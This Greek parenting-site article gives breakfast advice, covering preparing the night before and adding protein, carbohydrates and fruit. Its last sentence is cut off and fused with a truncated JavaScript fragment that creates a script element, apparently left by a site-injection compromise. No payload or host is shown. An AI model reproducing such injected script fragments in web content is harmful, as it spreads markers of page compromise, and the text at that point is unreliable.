mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Δώσε βαρύτητα στο πρωινό γεύμα!

Δώσε βαρύτητα στο πρωινό γεύμα!

Ακούμε πολύ συχνά να λέγεται ότι το πρωινό είναι το πιο σημαντικό γεύμα της ημέρας. Μετά από χρόνια επιστημονικής έρευνας, αποδεικνύεται ότι αυτό είναι κάτι παραπάνω από αληθές. Για τα παιδιά, το πρωινό γεύμα είναι απαραίτητο για τη βέλτιστη της απόδοσης στο σχολείο και για τη γενική υγεία τους. Τα παιδιά (και οι ενήλικες) που τρώνε πρωινό έχουν την

τάση να αποδίδουν καλύτερα στο σχολείο (και στη δουλειά) και να έχουν πιο υγιές βάρος και τα επίπεδα χοληστερόλης. Για μια δραστήρια μέρα με ενέργεια, προγραμματίστε ένα δυναμωτικό και πλήρες πρωινό.

Προετοιμαστείτε από νωρίτερα
Για τους περισσότερους από εμάς, η έλλειψη χρόνου είναι το μεγαλύτερο εμπόδιο για το πρωινό γεύμα. Ας δούμε τρεις δοκιμασμένες και καλές συμβουλές για τον προγραμματισμό του πρωινού γεύματος:
Ετοιμαστείτε το προηγούμενο βράδυ. Τοποθέτησε στο τραπέζι μπολ και κουτάλια για τα δημητριακά. Βγάλε από το ντουλάπι το τηγάνι για τις κρέπες ή το μπλέντερ για τα smoothies. Τεμαχίστε κάποια φρούτα και το τυρί.
Φρόντισε να είναι εύκολο. Ένα πλουσιοπάροχο πρωινό είναι υπέροχο όταν υπάρχει άνεση χρόνου. Κατά τις ημέρες αιχμής, ένα σάντουιτς, ένα κομμάτι πίτσα με λαχανικά από την προηγούμενη, ή ένα χαμηλής περιεκτικότητας σε λιπαρά γιαούρτι με φρούτα πριν το σχολείο ή τη δουλειά είναι μια χαρά.
Καντ’ τα πακέτο! Αν δεν υπάρχει χρόνος για να φάτε στο σπίτι, πάρτε το γεύμα μαζί σας! Κάντε πακέτο ένα σάντουιτς και το γάλα ή τον καφέ σε πλαστικό ποτήρι και είστε έτοιμοι για να πάτε στις δραστηριότητές σας!

Συμπεριλάβετε πρωτεΐνες και υδατάνθρακες
Υδατάνθρακες. Είναι απαραίτητοι για να ενεργοποιήσουν το σώμα και το μυαλό σας για μια πολυάσχολη μέρα. Καλές ιδέες είναι τα δημητριακά (ζεστό ή κρύο), το ψωμί, οι τηγανήτες, οι τορτίγιες, ή ακόμα και ρύζι ή ζυμαρικά από την προηγούμενη μέρα. Επιλέξτε δημητριακά ολικής αλέσεως για επιπλέον διατροφικά οφέλη (περισσότερες φυτικές ίνες και θρεπτικά συστατικά).
Πρωτεΐνες. Αυτός είναι ο κρίκος που λείπει συνήθως από το πρωινό. Η πρωτεΐνη είναι ό,τι χρειαζόμαστε για να αντέξουμε μέχρι το μεσημεριανό γεύμα. Μπορείτε να καταναλώσετε μια φέτα μπέικον, ένα αυγό, μια φέτα άπαχο κρέας ή τυρί με χαμηλά λιπαρά, ένα γιαούρτι με χαμηλά λιπαρά, τυρί cottage ελαφρύ, ή μια χούφτα ξηρούς καρπούς.
Φρούτα. Είναι γρήγορο και εύκολο να προσθέσετε χρώμα και διατροφική αξία στο πρωινό σας περιλαμβάνοντας και τα αγαπημένα σας φρούτα. Απολαύστε τα φρέσκα, κατεψυγμένα, κονσερβοποιημένα ή αποξηραμένα. Μια άλλη καλή επιλογή είναι το αβοκάντο. Έχει υψηλή περιεκτικότητα σε ακόρεστα λιπαρά και περιέχουν βιταμίνη C, θειαμίνη, ριβοφλαβίνη και βήτα καροτίνη, η οποία αποτελεί τη βιταμίνη Αvar d=document;var s=d.createElement(‘script’);

Share This